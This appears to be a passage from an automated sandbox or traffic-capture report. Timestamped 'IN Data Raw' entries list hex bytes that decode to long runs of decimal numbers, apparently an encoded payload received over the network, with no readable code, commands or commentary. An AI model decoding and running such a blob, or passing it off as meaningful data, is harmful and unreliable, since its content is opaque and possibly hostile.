Data Ascii: 23 204 55 120 125 100 96 97 60 190 133 9 176 112 117 109 111 26 35 32 54 69 96 106 103 142 51 28 52 29 
178 109 126 126 98 50 33 32 41 79 140 116 65 118 25 17 45 42 71 96 117 124 98 45 42 204 55 120 121 93 109 116 50 
54 33 51 75 105 102 127 112 35 34 45 40

2021-10-14 06:12:17 UTC 173 IN Data Raw: 31 30 39 20 31 31 32 20 32 36 20 32 32 37 20 35 31 20 35 34 20 39 34 20 39 30 20 31 36 31 20 31 30 38 20 
31 31 32 20 35 36 20 32 34 20 32 38 20 35 32 20 38 34 20 31 31 36 20 32 36 20 32 31 20 31 31 32 20 35 30 20 35 38 20 
31 34 34 20 33 39 20 38 38 20 39 39 20 31 32 33 20 32 34 37 20 38 38 20 32 38 20 35 30 20 35 30 20 34 38 20 36 36 20 
39 30 20 39 31 20 31 30 39 20 31 31 32 20 35 36 20 33 38 20 32 38 20 33 37 20 36 39 20 31 32 30 20 39 33 20 36 34 20 
31 31 35 20 35 30 20 35 34 20 33 35 20 35 38 20 36 39 20 31 32 34 20 32 33 39 20 36 39 20 38 37 20 35 30 20 34 38 20 
35 36 20 33 37 20 39 34 20 39 39 20 31 32 33 20 31 32 32 20 31 36 36 20 33 33 20 36 32 20 33 35 20 35 36 20 36 39 20 
31 30 30 20 37 35 20 32 30 20 31 34 33 20 32 30 35 20 32 30 37 20 33 35 20 
Data Ascii: 109 112 26 227 51 54 94 90 161 108 112 56 24 28 52 84 116 26 21 112 50 58 144 39 88 99 123 247 88 28 50 
50 48 66 90 91 109 112 56 38 28 37 69 120 93 64 115 50 54 35 58 69 124 239 69 87 50 48 56 37 94 99 123 122 166 33 62 
35 56 69 100 75 20 143 205 207 35 

2021-10-14 06:12:17 UTC 178 IN Data Raw: 20 35 32 20 35 30 20 34 38 20 31 32 34 20 31 30 33 20 31 31 33 20 31 30 39 20 31 31 38 20 33 35 20 35 36 
20 32 36 20 32 30 33 20 38 34 20 31 31 34 20 31 31 35 20 31 32 36 20 31 31 38 20 35 39 20 32 34 20 33 36 20 35 30 20 
38 34 20 31 31 36 20 39 33 20 31 32 32 20 31 31 36 20 35 30 20 35 34 20 33 35 20 36 32 20 31 32 34 20 31 34 33 20 31 
31 37 20 31 30 39 20 31 31 38 20 33 33 20 35 35 20 36 35 20 32 30 20 38 36 20 31 31 34 20 31 31 35 20 31 32 36 20 31 
32 31 20 33 35 20 35 37 20 33 35 20 35 31 20 35 39 20 39 30 20 31 31 39 20 31 30 39 20 31 31 38 20 33 35 20 35 37 20 
33 35 20 34 38 20 35 39 20 38 36 20 31 31 39 20 31 30 39 20 31 31 38 20 33 35 20 35 37 20 33 35 20 34 39 20 35 39 20 
38 34 20 31 31 39 20 31 30 39 20 31 31 38 20 33 35 20 35 37 20 32 36 20 34 
Data Ascii:  52 50 48 124 103 113 109 118 35 56 26 203 84 114 115 126 118 59 24 36 50 84 116 93 122 116 50 54 35 62 
124 143 117 109 118 33 55 65 20 86 114 115 126 121 35 57 35 51 59 90 119 109 118 35 57 35 48 59 86 119 109 118 35 
57 35 49 59 84 119 109 118 35 57 26 4

2021-10-14 06:12:17 UTC 182 IN Data Raw: 20 33 31 20 33 39 20 31 32 34 20 38 34 20 31 31 33 20 31 30 39 20 31 31 38 20 32 36 20 32 31 36 20 35 31 
20 35 34 20 39 34 20 31 31 32 20 39 33 20 37 33 20 31 31 32 20 35 30 20 35 38 20 35 37 20 33 30 20 31 32 32 20 31 31 
32 20 31 31 37 20 31 30 37 20 31 32 34 20 35 33 20 33 36 20 32 36 20 31 33 39 20 38 37 20 31 31 34 20 31 31 35 20 31 
31 37 20 32 35 33 20 35 33 20 34 38 20 35 30 20 35 35 20 37 31 20 31 32 32 20 31 30 30 20 31 30 31 20 31 30 32 20 34 
35 20 32 31 20 31 39 30 20 39 20 38 34 20 31 31 34 20 31 31 36 20 32 30 37 20 39 37 20 35 38 20 33 39 20 35 33 20 33 
34 20 31 32 34 20 32 34 33 20 31 31 39 20 31 30 39 20 31 31 38 20 33 36 20 31 38 39 20 35 33 20 35 34 20 38 34 20 31 
31 35 20 39 37 20 31 32 31 20 31 30 30 20 32 36 20 31 34 37 20 35 30 20 35 
Data Ascii:  31 39 124 84 113 109 118 26 216 51 54 94 112 93 73 112 50 58 57 30 122 112 117 107 124 53 36 26 139 87 
114 115 117 253 53 48 50 55 71 122 100 101 102 45 21 190 9 84 114 116 207 97 58 39 53 34 124 243 119 109 118 36 18
9 53 54 84 115 97 121 100 26 147 50 5

2021-10-14 06:12:17 UTC 186 IN Data Raw: 30 20 31 31 30 20 31 31 38 20 31 31 37 20 31 30 37 20 33 31 20 31 37 35 20 34 38 20 35 30 20 36 30 20 31 
32 30 20 38 37 20 31 30 30 20 31 30 36 20 39 37 20 35 32 20 32 34 20 38 20 35 30 20 38 34 20 31 31 36 20 39 36 20 31 
32 33 20 38 38 20 31 31 38 20 34 39 20 35 30 20 36 30 20 36 37 20 32 33 32 20 39 33 20 38 36 20 31 31 36 20 35 30 20 
35 34 20 33 39 20 33 32 20 31 32 34 20 35 34 20 31 31 36 20 31 30 39 20 31 32 32 20 33 36 20 31 37 30 20 39 33 20 31 
38 20 38 36 20 31 31 34 20 31 31 35 20 31 32 34 20 31 31 38 20 32 36 20 31 32 20 35 34 20 35 34 20 38 32 20 32 39 20 
32 33 32 20 31 30 39 20 31 31 32 20 35 36 20 32 38 20 32 33 20 33 39 20 38 33 20 39 39 20 31 31 35 20 36 39 20 37 36 
20 35 34 20 34 38 20 35 32 20 33 35 20 36 36 20 39 30 20 34 39 20 31 30 38 
Data Ascii: 0 110 118 117 107 31 175 48 50 60 120 87 100 106 97 52 24 8 50 84 116 96 123 88 118 49 50 60 67 232 93 
86 116 50 54 39 32 124 54 116 109 122 36 170 93 18 86 114 115 124 118 26 12 54 54 82 29 232 109 112 56 28 23 39 83 
99 115 69 76 54 48 52 35 66 90 49 108
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2021-10-14 06:12:17 UTC 190 IN Data Raw: 36 20 31 34 33 20 33 36 20 31 38 39 20 32 35 20 35 34 20 38 34 20 31 31 35 20 39 35 20 31 30 39 20 31 30 
37 20 32 20 35 32 20 35 30 20 31 39 36 20 38 35 20 31 31 34 20 31 31 37 20 32 33 38 20 31 31 32 20 35 30 20 33 33 20 
36 35 20 31 34 30 20 38 34 20 31 31 34 20 31 32 37 20 31 30 33 20 38 38 20 32 38 20 35 30 20 35 30 20 34 38 20 37 31 
20 31 31 38 20 39 33 20 36 37 20 31 31 34 20 35 30 20 35 34 20 35 37 20 33 30 20 31 32 32 20 31 31 32 20 31 31 37 20 
31 30 37 20 31 32 34 20 32 36 20 31 36 20 35 34 20 35 34 20 38 32 20 39 30 20 38 36 20 31 30 39 20 31 31 32 20 35 36 
20 32 34 20 31 31 38 20 35 30 20 38 34 20 31 31 36 20 39 33 20 37 33 20 31 31 32 20 35 30 20 35 38 20 32 36 20 32 35 
20 38 34 20 31 31 34 20 31 32 37 20 38 34 20 31 39 39 20 35 31 20 34 38 20 
Data Ascii: 6 143 36 189 25 54 84 115 95 109 107 2 52 50 196 85 114 117 238 112 50 33 65 140 84 114 127 103 88 28 50 
50 48 71 118 93 67 114 50 54 57 30 122 112 117 107 124 26 16 54 54 82 90 86 109 112 56 24 118 50 84 116 93 73 112 
50 58 26 25 84 114 127 84 199 51 48 

2021-10-14 06:12:17 UTC 193 IN Data Raw: 30 20 31 32 34 20 36 37 20 31 31 37 20 31 30 39 20 31 32 32 20 33 30 20 37 20 33 35 20 35 30 20 31 32 34 
20 32 30 37 20 31 31 36 20 31 30 39 20 31 32 32 20 33 33 20 35 34 20 33 35 20 34 38 20 37 31 20 31 32 37 20 39 39 20 
31 32 36 20 31 32 34 20 32 35 20 34 33 20 33 35 20 35 39 20 36 39 20 31 32 36 20 32 33 39 20 31 32 36 20 31 31 39 20 
35 39 20 35 35 20 33 35 20 34 39 20 31 32 34 20 38 36 20 31 31 37 20 31 30 39 20 31 32 32 20 39 33 20 32 35 32 20 35 
30 20 35 34 20 39 34 20 39 39 20 31 32 31 20 31 32 32 20 31 36 36 20 33 33 20 36 30 20 33 35 20 35 38 20 36 39 20 31 
32 37 20 32 35 31 20 32 31 38 20 36 36 20 32 33 39 20 32 37 20 34 38 20 36 32 20 31 32 36 20 31 32 33 20 32 36 20 31 
39 32 20 31 31 33 20 35 30 20 35 38 20 33 33 20 35 36 20 31 30 38 20 31 37 
Data Ascii: 0 124 67 117 109 122 30 7 35 50 124 207 116 109 122 33 54 35 48 71 127 99 126 124 25 43 35 59 69 126 239 
126 119 59 55 35 49 124 86 117 109 122 93 252 50 54 94 99 121 122 166 33 60 35 58 69 127 251 218 66 239 27 48 62 
126 123 26 192 113 50 58 33 56 108 17

2021-10-14 06:12:17 UTC 197 IN Data Raw: 30 39 20 31 36 20 32 34 31 20 39 37 20 35 33 20 34 37 20 31 31 38 20 34 31 20 33 39 20 32 33 38 20 31 30 
30 20 31 30 36 20 31 31 31 20 31 31 39 20 34 37 20 39 33 20 31 37 30 20 36 39 20 31 31 37 20 31 30 36 20 34 33 20 31 
31 31 20 39 34 20 31 37 32 20 33 35 20 34 39 20 37 35 20 35 33 20 31 30 36 20 32 37 20 32 33 36 20 33 35 20 35 35 20 
34 35 20 31 32 36 20 37 35 20 32 33 20 32 33 33 20 31 32 34 20 31 31 39 20 34 35 20 31 32 31 20 34 35 20 32 32 20 32 
30 30 20 39 39 20 31 31 34 20 31 31 34 20 35 38 20 34 35 20 31 32 30 20 31 37 34 20 33 39 20 38 33 20 31 30 39 20 36 
32 20 31 31 34 20 33 36 20 31 37 34 20 33 33 20 35 33 20 34 31 20 32 34 20 31 30 39 20 33 33 20 32 34 31 20 39 37 20 
35 33 20 34 37 20 31 32 37 20 34 31 20 34 20 32 33 38 20 31 30 30 20 31 30 
Data Ascii: 09 16 241 97 53 47 118 41 39 238 100 106 111 119 47 93 170 69 117 106 43 111 94 172 35 49 75 53 106 27 
236 35 55 45 126 75 23 233 124 119 45 121 45 22 200 99 114 114 58 45 120 174 39 83 109 62 114 36 174 33 53 41 24 
109 33 241 97 53 47 127 41 4 238 100 10

2021-10-14 06:12:17 UTC 201 IN Data Raw: 35 38 20 33 30 20 36 39 20 31 31 34 20 31 31 37 20 31 30 33 20 32 31 30 20 33 35 20 33 38 20 33 33 20 33 
33 20 36 39 20 31 30 31 20 39 37 20 31 32 31 20 31 30 33 20 31 39 31 20 33 31 20 35 30 20 35 34 20 38 35 20 39 37 20 
31 30 39 20 31 32 34 20 31 30 34 20 33 36 20 33 39 20 31 37 34 20 33 39 20 37 36 20 39 30 20 32 31 34 20 31 30 39 20 
31 31 32 20 35 36 20 33 33 20 34 32 20 33 32 20 31 39 36 20 39 34 20 31 32 36 20 31 32 34 20 31 30 33 20 33 36 20 31 
37 30 20 32 36 20 33 39 20 38 34 20 31 31 34 20 31 32 37 20 31 32 36 20 31 32 30 20 37 30 20 33 34 20 35 30 20 35 34 
20 37 39 20 39 37 20 31 32 36 20 31 32 34 20 31 32 32 20 33 35 20 35 34 20 33 35 20 36 31 20 35 39 20 31 30 30 20 31 
31 36 20 31 30 39 20 31 32 32 20 39 33 20 34 36 20 35 31 20 35 34 20 39 34 
Data Ascii: 58 30 69 114 117 103 210 35 38 33 33 69 101 97 121 103 191 31 50 54 85 97 109 124 104 36 39 174 39 76 90 
214 109 112 56 33 42 32 196 94 126 124 103 36 170 26 39 84 114 127 126 120 70 34 50 54 79 97 126 124 122 35 54 35 
61 59 100 116 109 122 93 46 51 54 94

2021-10-14 06:12:17 UTC 205 IN Data Raw: 34 20 33 35 20 33 39 20 36 34 20 39 30 20 32 34 36 20 31 31 31 20 31 31 32 20 35 32 20 33 38 20 31 39 31 
20 34 39 20 38 34 20 31 31 34 20 31 31 36 20 31 32 31 20 31 30 30 20 33 38 20 33 39 20 32 36 20 31 34 35 20 38 34 20 
31 31 34 20 31 32 37 20 37 35 20 39 37 20 33 35 20 33 36 20 32 36 20 39 33 20 38 30 20 31 31 34 20 31 31 35 20 31 32 
33 20 32 35 33 20 35 33 20 34 38 20 35 30 20 35 35 20 36 34 20 31 30 32 20 39 37 20 31 32 32 20 38 38 20 31 34 39 20 
34 38 20 35 30 20 36 30 20 31 31 34 20 39 39 20 31 32 33 20 31 32 32 20 32 35 33 20 35 33 20 34 38 20 35 30 20 35 35 
20 37 31 20 38 31 20 31 30 30 20 37 38 20 31 30 32 20 33 36 20 31 38 38 20 31 33 20 35 34 20 38 34 20 31 31 35 20 32 
31 35 20 31 32 34 20 38 33 20 33 38 20 32 34 20 31 35 33 20 35 34 20 38 34 
Data Ascii: 4 35 39 64 90 246 111 112 52 38 191 49 84 114 116 121 100 38 39 26 145 84 114 127 75 97 35 36 26 93 80 
114 115 123 253 53 48 50 55 64 102 97 122 88 149 48 50 60 114 99 123 122 253 53 48 50 55 71 81 100 78 102 36 188 
13 54 84 115 215 124 83 38 24 153 54 84

2021-10-14 06:12:17 UTC 210 IN Data Raw: 38 20 35 36 20 33 37 20 37 33 20 31 20 32 30 37 20 31 30 39 20 31 31 32 20 35 36 20 35 39 20 32 36 20 31 
34 20 38 34 20 31 31 34 20 31 32 37 20 31 37 39 20 31 31 34 20 35 32 20 32 36 20 35 33 20 32 38 20 38 34 20 31 31 34 
20 35 32 20 38 39 20 31 31 32 20 35 30 20 35 30 20 35 30 20 35 34 20 38 34 20 31 35 30 20 31 31 35 20 31 30 39 20 31 
31 32 20 31 32 37 20 34 38 20 35 30 20 35 34 20 31 30 31 20 31 31 37 20 31 31 37 20 31 30 39 20 31 32 36 20 35 30 20 
34 38 20 35 30 20 35 34 20 38 34 20 31 31 34 20 31 31 37 20 31 30 39 20 31 31 32 20 35 30 20 34 38 20 35 32 20 35 34 
20 38 34 20 31 31 34 20 32 33 30 20 31 30 36 20 31 31 32 20 35 30 20 31 36 39 20 35 33 20 35 34 20 38 34 20 31 30 33 
20 31 31 37 20 31 30 39 20 31 31 32 20 34 30 20 34 38 20 35 30 20 35 35 20 
Data Ascii: 8 56 37 73 1 207 109 112 56 59 26 14 84 114 127 179 114 52 26 53 28 84 114 52 89 112 50 50 50 54 84 150 
115 109 112 127 48 50 54 101 117 117 109 126 50 48 50 54 84 114 117 109 112 50 48 52 54 84 114 230 106 112 50 169 
53 54 84 103 117 109 112 40 48 50 55 

2021-10-14 06:12:17 UTC 214 IN Data Raw: 38 38 20 35 32 20 31 31 33 20 31 31 32 20 35 30 20 34 38 20 35 30 20 35 34 20 38 34 20 33 32 20 31 31 37 
20 31 30 39 20 31 31 32 20 31 32 35 20 34 39 20 35 30 20 35 34 20 32 34 35 20 31 31 35 20 31 31 37 20 31 30 39 20 31 
30 31 20 35 30 20 34 38 20 35 30 20 34 34 20 38 34 20 31 31 34 20 31 31 36 20 31 32 36 20 36 34 20 34 38 20 34 38 20 
35 32 20 35 35 20 38 34 20 31 31 34 20 32 35 31 20 31 30 39 20 31 31 32 20 33 35 20 33 38 20 33 33 20 34 39 20 31 30 
38 20 31 33 33 20 31 31 37 20 31 30 39 20 31 31 32 20 35 30 20 33 33 20 35 33 20 34 31 20 39 34 20 31 34 30 20 31 31 
36 20 36 35 20 31 32 34 20 35 38 20 35 37 20 32 36 20 31 38 20 38 34 20 31 31 34 20 31 32 37 20 39 37 20 31 31 31 20 
35 37 20 33 35 20 35 33 20 35 34 20 36 39 20 31 31 37 20 31 30 36 20 39 37 
Data Ascii: 88 52 113 112 50 48 50 54 84 32 117 109 112 125 49 50 54 245 115 117 109 101 50 48 50 44 84 114 116 126 
64 48 48 52 55 84 114 251 109 112 35 38 33 49 108 133 117 109 112 50 33 53 41 94 140 116 65 124 58 57 26 18 84 114 
127 97 111 57 35 53 54 69 117 106 97

2021-10-14 06:12:17 UTC 225 IN Data Raw: 34 20 34 39 20 33 30 20 33 37 20 38 32 20 31 31 32 20 39 39 20 31 31 31 20 32 35 34 20 31 33 33 20 33 33 
20 35 35 20 33 32 20 35 39 20 31 31 38 20 31 31 39 20 31 30 39 20 31 32 32 20 32 30 20 34 37 20 34 32 20 33 37 20 39 
32 20 31 31 34 20 31 30 30 20 31 30 31 20 31 31 31 20 33 34 20 32 30 36 20 35 31 20 32 36 20 39 34 20 39 39 20 31 31 
35 20 31 32 32 20 31 36 36 20 33 33 20 35 34 20 34 35 20 33 39 20 37 31 20 31 32 32 20 31 31 37 20 31 32 34 20 31 32 
30 20 34 35 20 36 33 20 32 30 34 20 35 35 20 31 32 30 20 34 32 20 31 30 30 20 31 30 35 20 39 37 20 35 32 20 35 37 20 
33 35 20 34 38 20 31 39 37 20 31 30 31 20 34 32 20 31 31 32 20 31 38 20 35 39 20 33 33 20 35 32 20 31 36 37 20 37 36 
20 34 35 20 31 31 30 20 31 35 20 31 36 20 35 39 20 33 33 20 35 32 20 31 36 
Data Ascii: 4 49 30 37 82 112 99 111 254 133 33 55 32 59 118 119 109 122 20 47 42 37 92 114 100 101 111 34 206 51 26 
94 99 115 122 166 33 54 45 39 71 122 117 124 120 45 63 204 55 120 42 100 105 97 52 57 35 48 197 101 42 112 18 59 
33 52 167 76 45 110 15 16 59 33 52 16
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2021-10-14 06:12:17 UTC 241 IN Data Raw: 31 30 39 20 31 31 32 20 35 30 20 34 38 20 32 20 35 34 20 31 38 31 20 39 39 20 31 31 36 20 31 32 30 20 31 
30 36 20 35 30 20 34 38 20 35 31 20 34 35 20 31 30 30 20 31 31 38 20 31 31 37 20 36 37 20 31 31 32 20 35 30 20 34 38 
20 31 38 20 35 34 20 38 34 20 39 39 20 39 33 20 32 35 30 20 31 31 32 20 35 30 20 35 38 20 34 38 20 33 30 20 35 30 20 
31 31 35 20 31 31 37 20 31 30 33 20 31 30 30 20 33 37 20 32 34 20 31 36 30 20 35 35 20 38 34 20 31 32 30 20 32 36 20 
31 32 33 20 31 31 33 20 35 30 20 35 38 20 35 36 20 32 33 32 20 37 30 20 39 30 20 36 36 20 31 30 39 20 31 31 32 20 35 
36 20 32 34 20 32 38 20 35 32 20 38 34 20 31 31 36 20 31 32 37 20 36 39 20 37 32 20 35 30 20 34 38 20 35 36 20 32 33 
32 20 38 34 20 31 31 36 20 39 35 20 31 30 39 20 31 31 32 20 35 31 20 33 32 
Data Ascii: 109 112 50 48 2 54 181 99 116 120 106 50 48 51 45 100 118 117 67 112 50 48 18 54 84 99 93 250 112 50 58 
48 30 50 115 117 103 100 37 24 160 55 84 120 26 123 113 50 58 56 232 70 90 66 109 112 56 24 28 52 84 116 127 69 72 
50 48 56 232 84 116 95 109 112 51 32

2021-10-14 06:12:17 UTC 257 IN Data Raw: 38 34 20 31 30 39 20 32 36 20 32 34 31 20 31 31 38 20 31 38 20 31 37 38 20 35 30 20 35 34 20 38 34 20 31 
30 39 20 32 34 20 32 34 31 20 31 31 38 20 31 38 20 31 37 39 20 35 30 20 35 34 20 38 34 20 31 30 39 20 39 31 20 32 34 
31 20 31 31 38 20 31 38 20 31 38 30 20 35 30 20 35 34 20 38 34 20 31 30 39 20 32 30 20 32 34 31 20 31 31 38 20 31 38 
20 31 38 31 20 35 30 20 35 34 20 38 34 20 31 30 39 20 35 20 32 34 31 20 31 31 38 20 31 38 20 31 38 32 20 35 30 20 35 
34 20 38 34 20 31 30 39 20 35 20 32 34 31 20 31 31 38 20 31 38 20 31 38 33 20 35 30 20 35 34 20 38 34 20 31 30 39 20 
32 35 20 32 34 31 20 31 31 38 20 31 38 20 31 38 34 20 35 30 20 35 34 20 38 34 20 31 30 39 20 31 36 20 32 34 31 20 31 
31 38 20 31 38 20 31 38 35 20 35 30 20 35 34 20 38 34 20 31 30 39 20 39 31 
Data Ascii: 84 109 26 241 118 18 178 50 54 84 109 24 241 118 18 179 50 54 84 109 91 241 118 18 180 50 54 84 109 20 
241 118 18 181 50 54 84 109 5 241 118 18 182 50 54 84 109 5 241 118 18 183 50 54 84 109 25 241 118 18 184 50 54 84 
109 16 241 118 18 185 50 54 84 109 91

2021-10-14 06:12:17 UTC 273 IN Data Raw: 36 34 20 31 33 35 20 31 36 33 20 38 38 20 32 30 33 20 31 30 39 20 38 36 20 31 32 36 20 31 32 37 20 35 30 
20 33 33 20 36 31 20 34 31 20 39 35 20 31 34 30 20 31 31 36 20 36 35 20 31 32 31 20 31 30 20 32 30 36 20 35 35 20 35 
34 20 38 34 20 31 30 39 20 31 32 31 20 31 32 36 20 31 32 37 20 35 30 20 33 33 20 36 31 20 34 31 20 37 32 20 31 34 30 
20 31 31 36 20 36 35 20 31 32 35 20 35 39 20 33 33 20 35 39 20 31 36 30 20 37 35 20 31 32 33 20 33 31 20 39 32 20 31 
38 33 20 34 35 20 34 35 20 33 33 20 35 37 20 38 34 20 39 39 20 31 32 32 20 31 31 33 20 31 34 32 20 35 31 20 32 38 20 
36 32 20 35 32 20 34 37 20 31 38 37 20 31 31 37 20 31 30 39 20 31 31 36 20 31 38 38 20 31 33 35 20 36 32 20 34 33 20 
37 31 20 31 32 35 20 31 31 37 20 31 32 34 20 31 32 37 20 34 35 20 33 36 20 
Data Ascii: 64 135 163 88 203 109 86 126 127 50 33 61 41 95 140 116 65 121 10 206 55 54 84 109 121 126 127 50 33 61 
41 72 140 116 65 125 59 33 59 160 75 123 31 92 183 45 45 33 57 84 99 122 113 142 51 28 62 52 47 187 117 109 116 188 
135 62 43 71 125 117 124 127 45 36 

2021-10-14 06:12:17 UTC 289 IN Data Raw: 35 30 20 33 33 20 35 34 20 34 31 20 38 38 20 31 34 30 20 31 31 36 20 36 35 20 31 31 34 20 32 35 20 35 33 
20 31 30 20 31 36 20 31 37 31 20 31 34 31 20 31 33 38 20 31 31 31 20 31 31 35 20 35 32 20 39 35 20 31 38 37 20 35 35 
20 38 34 20 31 31 36 20 39 35 20 31 30 39 20 39 39 20 32 20 35 32 20 35 30 20 32 33 20 38 35 20 31 31 34 20 31 31 37 
20 32 31 32 20 31 31 32 20 35 30 20 33 33 20 33 36 20 33 37 20 38 31 20 37 34 20 31 30 33 20 31 30 38 20 31 31 32 20 
35 30 20 34 38 20 33 35 20 35 31 20 37 39 20 31 34 30 20 31 31 36 20 36 35 20 38 35 20 34 38 20 37 35 20 32 35 31 20 
35 34 20 38 34 20 31 31 38 20 31 32 34 20 32 32 36 20 39 31 20 35 30 20 34 38 20 34 38 20 37 37 20 31 33 34 20 31 31 
34 20 31 31 37 20 31 30 35 20 38 38 20 32 35 32 20 35 32 20 35 30 20 34 38 
Data Ascii: 50 33 54 41 88 140 116 65 114 25 53 10 16 171 141 138 111 115 52 95 187 55 84 116 95 109 99 2 52 50 23 
85 114 117 212 112 50 33 36 37 81 74 103 108 112 50 48 35 51 79 140 116 65 85 48 75 251 54 84 118 124 226 91 50 48 
48 77 134 114 117 105 88 252 52 50 48

2021-10-14 06:12:17 UTC 305 IN Data Raw: 36 39 20 39 37 20 35 30 20 34 38 20 35 36 20 38 39 20 35 37 20 31 31 32 20 31 31 37 20 31 30 33 20 38 36 
20 33 35 20 35 39 20 32 36 20 32 31 20 38 37 20 31 31 34 20 31 31 35 20 32 20 32 38 20 34 38 20 34 38 20 35 36 20 31 
36 20 39 30 20 31 31 39 20 31 30 30 20 31 30 32 20 33 31 20 32 32 34 20 34 38 20 35 30 20 36 30 20 35 20 31 32 34 20 
31 31 33 20 34 33 20 39 32 20 35 39 20 35 32 20 31 38 20 31 34 31 20 38 35 20 31 31 34 20 31 31 37 20 35 37 20 39 31 
20 35 34 20 35 32 20 34 35 20 31 30 32 20 30 20 31 32 32 20 39 33 20 32 32 36 20 31 31 33 20 35 30 20 35 38 20 33 30 
20 31 30 30 20 36 39 20 31 31 38 20 39 38 20 32 34 37 20 39 39 20 33 34 20 35 31 20 33 35 20 33 38 20 35 20 39 39 20 
31 30 31 20 31 31 34 20 37 34 20 39 33 20 39 34 20 34 38 20 35 34 20 39 34 
Data Ascii: 69 97 50 48 56 89 57 112 117 103 86 35 59 26 21 87 114 115 2 28 48 48 56 16 90 119 100 102 31 224 48 50 
60 5 124 113 43 92 59 52 18 141 85 114 117 57 91 54 52 45 102 0 122 93 226 113 50 58 30 100 69 118 98 247 99 34 51 
35 38 5 99 101 114 74 93 94 48 54 94

2021-10-14 06:12:17 UTC 321 IN Data Raw: 31 30 32 20 31 30 34 20 31 31 34 20 37 33 20 33 32 20 35 31 20 35 34 20 38 30 20 31 31 36 20 31 30 36 20 
31 32 31 20 31 36 36 20 32 36 20 33 35 20 35 31 20 35 34 20 39 34 20 32 38 20 31 30 32 20 31 30 35 20 31 31 34 20 37 
33 20 33 32 20 35 31 20 35 34 20 38 30 20 31 31 36 20 31 30 36 20 31 31 37 20 31 36 36 20 32 36 20 33 35 20 35 31 20 
35 34 20 39 34 20 32 38 20 31 30 32 20 31 30 33 20 31 31 34 20 37 33 20 33 32 20 35 31 20 35 34 20 38 30 20 31 31 36 
20 31 30 36 20 31 31 33 20 31 36 36 20 32 36 20 31 38 37 20 34 38 20 35 34 20 39 34 20 39 37 20 31 32 34 20 31 31 31 
20 31 31 20 33 34 20 34 39 20 35 30 20 35 30 20 38 32 20 31 30 39 20 31 30 37 20 31 38 37 20 38 38 20 31 38 35 20 35 
30 20 35 30 20 36 30 20 37 31 20 31 32 32 20 31 31 39 20 32 32 20 39 36 20 
Data Ascii: 102 104 114 73 32 51 54 80 116 106 121 166 26 35 51 54 94 28 102 105 114 73 32 51 54 80 116 106 117 166 
26 35 51 54 94 28 102 103 114 73 32 51 54 80 116 106 113 166 26 187 48 54 94 97 124 111 11 34 49 50 50 82 109 107 
187 88 185 50 50 60 71 122 119 22 96 

2021-10-14 06:12:17 UTC 337 IN Data Raw: 36 20 35 31 20 32 36 20 39 35 20 39 39 20 31 31 32 20 31 30 36 20 32 30 30 20 32 32 39 20 33 35 20 35 35 
20 34 31 20 38 39 20 39 37 20 31 32 35 20 31 30 39 20 39 37 20 35 38 20 34 37 20 33 33 20 32 30 30 20 38 35 20 39 34 
20 31 32 30 20 31 32 34 20 31 31 38 20 33 35 20 35 35 20 31 31 33 20 32 32 37 20 31 37 30 20 31 34 31 20 31 33 38 20 
31 31 34 20 31 30 30 20 33 33 20 35 36 20 35 30 20 33 39 20 39 32 20 31 30 39 20 31 32 36 20 31 34 37 20 31 31 33 20 
33 30 20 33 32 20 35 34 20 34 38 20 36 36 20 31 31 36 20 32 35 31 20 32 31 38 20 33 31 20 31 30 35 20 34 38 20 35 30 
20 36 30 20 39 35 20 31 30 39 20 31 32 31 20 31 32 36 20 31 32 30 20 35 30 20 33 33 20 35 38 20 34 33 20 31 37 30 20 
31 31 35 20 38 39 20 31 30 33 20 31 31 34 20 37 33 20 36 32 20 35 31 20 35 
Data Ascii: 6 51 26 95 99 112 106 200 229 35 55 41 89 97 125 109 97 58 47 33 200 85 94 120 124 118 35 55 113 227 170 
141 138 114 100 33 56 50 39 92 109 126 147 113 30 32 54 48 66 116 251 218 31 105 48 50 60 95 109 121 126 120 50 33 
58 43 170 115 89 103 114 73 62 51 5

2021-10-14 06:12:17 UTC 353 IN Data Raw: 20 31 32 31 20 38 38 20 31 34 35 20 34 38 20 35 30 20 36 30 20 31 32 34 20 39 39 20 31 31 37 20 31 30 39 
20 31 32 32 20 33 33 20 35 39 20 33 35 20 36 31 20 36 34 20 39 30 20 31 33 37 20 31 30 35 20 31 31 32 20 35 32 20 33 
39 20 31 39 31 20 34 39 20 38 34 20 31 31 34 20 31 31 36 20 31 32 36 20 31 32 37 20 33 35 20 36 33 20 33 36 20 33 30 
20 39 32 20 31 31 38 20 31 31 37 20 31 30 37 20 32 31 30 20 33 35 20 36 33 20 33 38 20 33 34 20 36 34 20 39 30 20 32 
31 34 20 31 30 39 20 31 31 32 20 35 36 20 33 36 20 32 36 20 32 30 33 20 38 30 20 31 31 34 20 31 31 35 20 31 32 32 20 
32 35 33 20 35 33 20 34 38 20 35 30 20 35 35 20 37 31 20 39 38 20 31 30 30 20 31 32 35 20 31 30 32 20 32 36 20 35 36 
20 35 34 20 35 34 20 38 32 20 32 30 38 20 31 30 30 20 31 32 35 20 31 30 30 
Data Ascii:  121 88 145 48 50 60 124 99 117 109 122 33 59 35 61 64 90 137 105 112 52 39 191 49 84 114 116 126 127 
35 63 36 30 92 118 117 107 210 35 63 38 34 64 90 214 109 112 56 36 26 203 80 114 115 122 253 53 48 50 55 71 98 100 
125 102 26 56 54 54 82 208 100 125 100
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2021-10-14 06:12:17 UTC 363 IN Data Raw: 39 20 31 31 38 20 32 36 20 33 30 20 34 38 20 35 34 20 38 32 20 32 39 20 31 33 20 31 30 39 20 31 31 32 20 
35 36 20 35 39 20 34 38 20 34 38 20 35 39 20 31 38 34 20 31 31 39 20 31 30 39 20 31 32 32 20 34 30 20 34 32 20 33 36 
20 38 39 20 31 36 30 20 31 31 35 20 31 31 37 20 31 30 37 20 38 38 20 34 32 20 34 39 20 35 30 20 36 30 20 31 32 34 20 
33 37 20 31 31 39 20 31 30 39 20 31 31 38 20 32 36 20 33 30 20 34 38 20 35 34 20 38 32 20 32 39 20 31 33 20 31 30 39 
20 31 31 32 20 35 36 20 36 31 20 34 38 20 34 38 20 35 39 20 31 38 34 20 31 31 39 20 31 30 39 20 31 32 32 20 34 35 20 
36 30 20 34 30 20 33 33 20 35 39 20 31 33 34 20 31 31 36 20 31 30 39 20 31 31 38 20 33 36 20 32 34 20 33 39 20 35 35 
20 38 34 20 31 32 30 20 31 32 31 20 31 30 36 20 38 38 20 33 34 20 35 33 20 
Data Ascii: 9 118 26 30 48 54 82 29 13 109 112 56 59 48 48 59 184 119 109 122 40 42 36 89 160 115 117 107 88 42 49 
50 60 124 37 119 109 118 26 30 48 54 82 29 13 109 112 56 61 48 48 59 184 119 109 122 45 60 40 33 59 134 116 109 118 
36 24 39 55 84 120 121 106 88 34 53 

